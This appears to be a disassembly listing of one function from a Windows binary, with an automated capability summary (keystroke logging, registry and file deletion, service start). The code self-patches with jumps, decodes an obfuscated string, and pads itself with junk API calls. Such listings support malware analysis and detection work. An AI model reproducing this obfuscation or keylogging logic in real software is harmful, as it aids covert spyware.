Function at 0xab41ee
Capabilities:
Accept command line arguments
Delete file
Delete registry key
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get file attributes
Get graphical window text
Get memory capacity
Log keystrokes via polling
Set thread local storage value
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov dword [ebp - 0x10], 0xab4698
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xab4036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xab41ee
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xab40b8
call fcn.00491eb2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xab407a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xab4094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xab4094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xab404a
mov byte [ebp - 0x78], 3
mov byte [ebp - 0x77], 0x21
mov byte [ebp - 0x76], 7
mov byte [ebp - 0x75], 0x64
mov byte [ebp - 0x74], 4
mov byte [ebp - 0x73], 0x7c
mov byte [ebp - 0x72], 5
mov byte [ebp - 0x71], 0x70
mov byte [ebp - 0x70], 0x19
mov byte [ebp - 0x6f], 0x47
mov byte [ebp - 0x6e], 0x11
mov byte [ebp - 0x6d], 0x90
mov byte [ebp - 0x6c], 0xe9
mov byte [ebp - 0x6b], 0x10
mov byte [ebp - 0x6a], 0xf7
mov byte [ebp - 0x69], 0x5c
mov byte [ebp - 0x68], 0x4d
mov byte [ebp - 0x67], 0xcf
mov byte [ebp - 0x66], 0x3b
mov byte [ebp - 0x65], 0x4b
mov byte [ebp - 0x64], 0x8f
mov byte [ebp - 0x63], 0x16
mov byte [ebp - 0x62], 0x7a
mov byte [ebp - 0x61], 0x95
mov byte [ebp - 0x60], 0xdb
mov byte [ebp - 0x5f], 0xf7
mov byte [ebp - 0x5e], 0xcc
mov byte [ebp - 0x5d], 5
mov byte [ebp - 0x5c], 0x9d
mov byte [ebp - 0x5b], 0xbb
mov byte [ebp - 0x5a], 0xa3
mov byte [ebp - 0x59], 0x50
mov byte [ebp - 0x58], 0x88
mov byte [ebp - 0x57], 0
mov byte [ebp - 0x56], 0x7b
mov byte [ebp - 0x55], 6
mov byte [ebp - 0x54], 0x79
mov byte [ebp - 0x53], 8
mov byte [ebp - 0x52], 0x7d
mov byte [ebp - 0x51], 2
mov byte [ebp - 0x50], 0x7d
mov byte [ebp - 0x4f], 9
mov byte [ebp - 0x4e], 0x7a
mov byte [ebp - 0x4d], 1
mov byte [ebp - 0x4c], 0x88
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xab417e
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2d
jae 0xab41e3
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x78]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xab41aa
mov dword [ebp - 0x24], 0x19
mov eax, dword [ebp - 8]
add eax, 0x17
mov dword [ebp - 8], eax
jmp 0xab4176
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x77]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xab41d2
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xab41bf
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x78]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xab4176
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa94da
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407ebe
mov ecx, eax
call fcn.00402f96
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402f3a
and dword [ebp - 0x1c], 0
jmp 0xab4226
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xab4236
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xab421f
push 0
push 0x3ab
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
push 0
push 0xc33
push 0x17d4
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 1
push 0
push 0x1dbc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
push 0x238f
push 0x2493
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
push 0
push 0x14c6
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 0
push 0x213c
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0x1009
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
push 0
push 0x1847
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
push 0x2547
push 0
push 0x165a
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push 0
push 0x317
push 0x1971
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0xaf9
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
call dword [sym.imp.USER32.dll_EndMenu]
push 0
push 0xe18
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0
push 0x22de
push 0
push 0x54b
push 0x447
push 0
push 0x99b
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0
push 0x1658
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push 0
push 1
push 0x17bb
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x126a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x1ca6
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x1af8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0xdf1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x12e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 0x22d7
push 0
push 0x3b7
push 0
push 0x1771
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 1
push 0x6c
push 0x2253
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
push 0x1285
push 0x6b2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0
push 0x25b3
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x932
push 0xa18
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
push 0x827
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0x721
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
push 0x26ad
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
push 0
push 0x729
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0x2322
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
push 0
push 0x481
push 0x112f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0xa33
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
push 0x24dc
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
push 0xb8
push 0x14ac
push 0x16f7
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0xa0b
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0x1cbf
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 0
push 0x6f4
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 0
push 0
push 0x1a7c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0x1625
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x583
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0x820
push 0
push 0x224a
push 0x940
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
jmp 0xab46a2
mov esp, ebp
pop ebp
ret